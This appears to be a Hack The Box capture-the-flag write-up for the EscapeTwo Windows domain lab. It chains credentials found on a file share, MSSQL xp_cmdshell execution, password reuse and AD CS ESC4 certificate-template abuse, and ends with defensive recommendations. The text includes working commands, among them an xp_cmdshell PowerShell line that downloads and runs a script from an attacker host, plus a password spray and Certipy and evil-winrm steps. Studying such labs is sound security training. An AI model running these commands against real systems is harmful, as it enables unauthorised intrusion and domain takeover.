EscapeTwo — AD CS ESC4 Template Abuse via WriteOwner and Shadow Credentials

At a glance

Field	Value
Difficulty	Medium
Target environment	Windows Server Active Directory domain controller for <DOMAIN> hosting MSSQL
Starting position	Low-privileged domain account (<LAB_USER>) with network access
Objective	Escalate from a low-privileged domain account to domain administrative access through credential discovery, MSSQL command execution, and AD CS template-permission abuse
Outcome	Administrative certificate authentication through an ESC4-abused template

Summary

EscapeTwo is a Medium-rated Hack The Box Windows Active Directory lab. Starting from a low-privileged domain account, a spreadsheet on an Accounting share exposes a live MSSQL sa credential; that credential enables xp_cmdshell command execution, the SQL Server installation configuration file discloses the service-account password, and the same secret authenticates a second domain account. From there, ownership of the certificate-authority service account enables a shadow-credentials attack, and write access to a certificate template (ESC4) produces a certificate for the administrative identity. Credential values, target and operator addresses, account names, and the CA name are replaced with role-based placeholders; command syntax is preserved.

Attack path: Low-privileged share access → accounts.xlsx MSSQL sa credential → xp_cmdshell command execution as <SQL_SVC> → SQL configuration-file password → domain user credential reuse → WriteOwner and shadow credentials over <CA_SVC> → AD CS ESC4 template abuse → administrative certificate authentication

Context and Objective

• Target: a Windows Server Active Directory domain controller for <DOMAIN>, hosting an MSSQL instance and serving file shares.
• Exposed surfaces used: an SMB file share, the MSSQL service, WinRM for remote management, and an Active Directory Certificate Services enterprise CA.
• Starting position: a low-privileged domain account (<LAB_USER>) with network access.
• Objective: move from that account to domain administrative access by chaining credential discovery, database command execution, credential reuse, and certificate-template abuse.
• Constraints: activity was confined to the Hack The Box lab environment.

Approach and Evidence

1. SMB Share Enumeration and Spreadsheet Credential Discovery

Observation: the low-privileged domain account can read an Accounting share, and its contents include a business spreadsheet.

Action: list shares, then download the readable share recursively.

nxc smb <TARGET_IP> -u '<LAB_USER>' -p '<LAB_USER_PASSWORD>' --shares

Share listing:

Accounting Department: READ

smbget --user='<LAB_USER>%<LAB_USER_PASSWORD>' 'smb://<TARGET_IP>/Accounting Department' --recursive

The downloaded spreadsheet accounts.xlsx contains MSSQL database-administrator credentials:

sa:<SA_PASSWORD>

Significance: a share readable by an ordinary domain account placed a live database-administrator credential in an accessible business file, so no exploit was needed to reach the database service.

Result: an MSSQL sa credential is recovered and is subsequently validated through MSSQL in the next stage.

2. MSSQL Command Execution

Observation: the recovered sa credential authenticates to the exposed MSSQL service, where xp_cmdshell can be enabled through the Impacket client.

Action: connect as sa and enable and invoke OS command execution.

impacket-mssqlclient <DOMAIN>/sa:'<SA_PASSWORD>'@<TARGET_IP> -windows-auth

enable_xp_cmdshell
EXEC xp_cmdshell 'powershell -c "IEX(New-Object Net.WebClient).DownloadString(''http://<ATTACKER_HOST>/<STAGED_SCRIPT>'')"'

Significance: xp_cmdshell executes operating-system commands in the context of the SQL Server service account, turning database access into command execution on the host without any software vulnerability.

Result: command execution is obtained in the <SQL_SVC> context.

3. SQL Server Configuration File Credential Recovery

Observation: the SQL Server installation directory retains a configuration file that records the service account password.

Action: read the installation configuration file.

type C:\SQL2019\ExpressAdv_ENU\sql-Configuration.INI

SQLSVCPASSWORD="<SQL_SVC_PASSWORD>"

Significance: A configuration file supplied with /SQLSVCPASSWORD=... remained readable after installation, so the service-account secret was still on disk.

Result: the service-account password is recovered from the configuration file.

4. Password Reuse and Domain User Discovery

Observation: the recovered service-account password may also be valid for domain accounts.

Action: try the recovered password across candidate usernames.

nxc smb <TARGET_IP> -u users.txt -p '<SQL_SVC_PASSWORD>' --continue-on-success

[+] <DOMAIN>\<AD_USER>:<SQL_SVC_PASSWORD>

Significance: the same secret authenticates a second account, evidence of password reuse between the SQL service account and a domain user, which widens the set of identities the recovered credential unlocks.

Result: a domain credential for <AD_USER> is recovered and validated through SMB.

5. AD CS ESC4 Certificate-Template Abuse

Observation: <AD_USER> holds WriteOwner over the certificate-authority service account <CA_SVC>; exercising that ownership through a shadow-credentials attack recovers <CA_SVC>’s NTLM hash, and the DunderMifflinAuthentication template can then be modified through ESC4.

Action: request a certificate for the administrative identity using the recovered service-account hash and the writable template, then authenticate and open a remote session.

certipy req -u '<CA_SVC>@<DOMAIN>' -hashes :<CA_SVC_HASH> \
  -template 'DunderMifflinAuthentication' \
  -upn '<ADMIN_ACCOUNT>@<DOMAIN>' \
  -ca '<CA_NAME>'

certipy auth -pfx administrator.pfx -dc-ip <TARGET_IP>
evil-winrm -i <TARGET_IP> -u <ADMIN_ACCOUNT> -H <ADMIN_NT_HASH>

Significance: write access to a certificate template lets a requester weaken the template’s constraints and ask the CA to issue a certificate naming a privileged account. Here the CA service account was reached by taking ownership of its object, so control of a template translated into credentials for an identity the requester does not control. This is an abuse of legitimate AD CS permissions, not a software vulnerability.

Result: certificate authentication yields administrative access to the domain.

Challenges and Decisions

The source documents no failed attempts, dead ends, or explicit tradeoffs for this path; each step advanced with a recovered credential or a configuration finding.

Outcome

The evidence establishes a path from a low-privileged domain account to administrative certificate authentication. The escalation abused legitimate AD CS permissions rather than a software vulnerability.

Terminal output was not retained for the MSSQL command-execution shell, the template-owner and shadow-credential acquisition, or the certificate-based authentication, so those transitions are reported as recorded rather than reproduced from evidence.

Lessons and Recommendations

Each finding pairs the observed root cause with its demonstrated impact and a prioritized action. The actions below are recommendations; none was validated in the lab.

1. Credential-bearing file on a share readable by a low-privileged account. A spreadsheet exposed a live MSSQL sa credential. Recommendation: restrict share membership, keep administrative secrets out of ordinary business files, and use service-specific database logins instead of sa. Detection: alert on access to database or finance exports and on sa logins from workstations.
2. Enablement of xp_cmdshell. Database access became operating-system command execution under <SQL_SVC>. Recommendation: disable xp_cmdshell (sp_configure 'xp_cmdshell', 0) unless a documented need exists, and grant SQL logins the minimum privilege. Detection: monitor sp_configure changes and xp_cmdshell invocations that spawn shell or download processes.
3. Service-account password retained in the SQL Server install configuration. The setup file still held SQLSVCPASSWORD. Recommendation: delete or restrict the installation configuration file after setup and rotate any credential it contains. Detection: scan install directories and backups for credential-bearing configuration files.
4. Password reuse between the SQL service account and a domain user. One secret authenticated two accounts. Recommendation: issue unique, rotated credentials per account and service. Detection: alert when a service-account credential authenticates a different identity or from an unexpected host.
5. Write access to an AD CS certificate template (ESC4). Control of the CA service account identity enabled modification of the DunderMifflinAuthentication template (ESC4), which was then used to request a certificate for the administrative identity. Recommendation: audit certificate templates and CA-object ownership, and remove unnecessary WriteOwner/write permissions so enrollment is the only action ordinary accounts can take. Validation: periodically enumerate template and CA permissions with a tool such as Certipy or PSPKIAudit and review the findings.

References

• Hack The Box — EscapeTwo (retired machine)
• Certificate template concepts (Microsoft Learn) (template enrollment, subject name, and client-authentication settings)
• Manage certificate templates (Microsoft Learn) (template enrollment permissions and access control)
• [MS-ADTS]: msDS-KeyCredentialLink (Microsoft Learn) (key-credential attribute abused by shadow-credentials attacks)
• xp_cmdshell (Transact-SQL) (Microsoft Learn) (extended stored procedure for OS command execution)
• Install SQL Server Using a Configuration File (Microsoft Learn) (setup configuration files and stored service-account settings)
• NetExec (SMB share enumeration and credential spray checks)
• smbget — Samba manual page (recursive SMB share download)
• Impacket (MSSQL client and xp_cmdshell helper)
• Certipy (AD CS enumeration and certificate abuse)
• evil-winrm (WinRM shell with hash authentication)